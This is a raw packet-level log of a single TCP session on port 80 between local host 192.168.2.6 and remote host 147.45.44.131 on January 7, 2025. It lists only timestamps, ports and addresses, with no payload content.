Jan 7, 2025 06:12:06.059923887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059936047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059940100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059948921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059962034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059967041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059973955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059994936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060024977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060036898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060048103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060062885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060086966 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060199022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060209990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060220957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060230970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060236931 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060244083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060255051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060261965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060295105 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060357094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060368061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060384035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060394049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060394049 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060405970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060415983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060421944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060434103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060456038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060520887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060532093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060544014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060554981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060560942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060579062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060705900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060717106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060733080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060744047 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060765982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060873032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060885906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060895920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060906887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060911894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.060919046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.060935974 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061011076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061045885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061197996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061209917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061219931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061230898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061237097 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061249018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061264038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061264992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061299086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061345100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061356068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061367035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061378002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061381102 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061391115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061407089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061481953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061517000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061641932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061654091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061665058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061676025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061677933 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061686993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061698914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061708927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061718941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061721087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061729908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061743021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061749935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061758041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061783075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061803102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061815023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061820030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061851978 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.061974049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061985016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.061991930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062000990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062011957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062019110 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062022924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062032938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062064886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062135935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062148094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062158108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062167883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062171936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062180042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062191963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062196970 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062206984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062218904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062228918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062231064 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062239885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062246084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062271118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062277079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062480927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062490940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062503099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062511921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062520027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062522888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062536001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062545061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062546015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062568903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062592030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062647104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062659025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062669039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062680006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062690020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062691927 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062700987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062706947 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062712908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062725067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062732935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062767029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062829018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062839985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.062872887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.062975883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099561930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099575996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099586010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099596977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099606991 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099617004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099627018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099638939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.099694967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.099720955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151559114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151571035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151587963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151598930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151609898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151637077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151634932 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151648998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151659966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151679993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151679993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151704073 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151886940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151952028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151962996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.151992083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.151997089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152008057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152019024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152035952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152049065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152070999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152081966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152091980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152102947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152107000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152128935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152199030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152210951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152228117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152237892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152240038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152249098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152257919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152266026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152267933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152278900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152287006 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152296066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152303934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152308941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152318954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152329922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152340889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152342081 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152352095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152358055 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152364016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152394056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152432919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152443886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152453899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152465105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152471066 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152476072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152484894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152510881 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152534962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152544022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152554035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152565002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152568102 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152576923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152592897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152601957 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152602911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152621984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152623892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152632952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152643919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152657986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152671099 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152712107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152720928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152730942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152741909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152753115 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152759075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152766943 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152770042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152787924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152797937 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152800083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152812004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152826071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152853012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152863979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152873993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152880907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152884960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152904034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.152910948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152921915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.152947903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153140068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153151035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153161049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153171062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153179884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153181076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153198957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153209925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153212070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153220892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153230906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153243065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153249025 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153253078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153270006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153275013 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153281927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153289080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153292894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153305054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153314114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153315067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153326035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153337002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153337955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153353930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153354883 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153364897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153386116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153388977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153398037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153428078 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153517962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153528929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153539896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153551102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153559923 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153563976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153572083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153578997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153597116 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153650045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153660059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153677940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153687954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153698921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153701067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153708935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153718948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153723955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153739929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153748989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153753996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153760910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153772116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153783083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153789043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153795004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153805017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153815985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153816938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153829098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153877020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153887033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153898001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.153907061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153929949 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.153969049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191719055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191741943 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191747904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191754103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191759109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191765070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191770077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191776037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.191905975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244173050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244198084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244213104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244230032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244241953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244252920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244270086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244278908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244290113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244297028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244301081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244306087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244317055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244328022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244345903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244355917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244368076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244415045 CET	80	49712	147.45.44.131	192.168.2.6
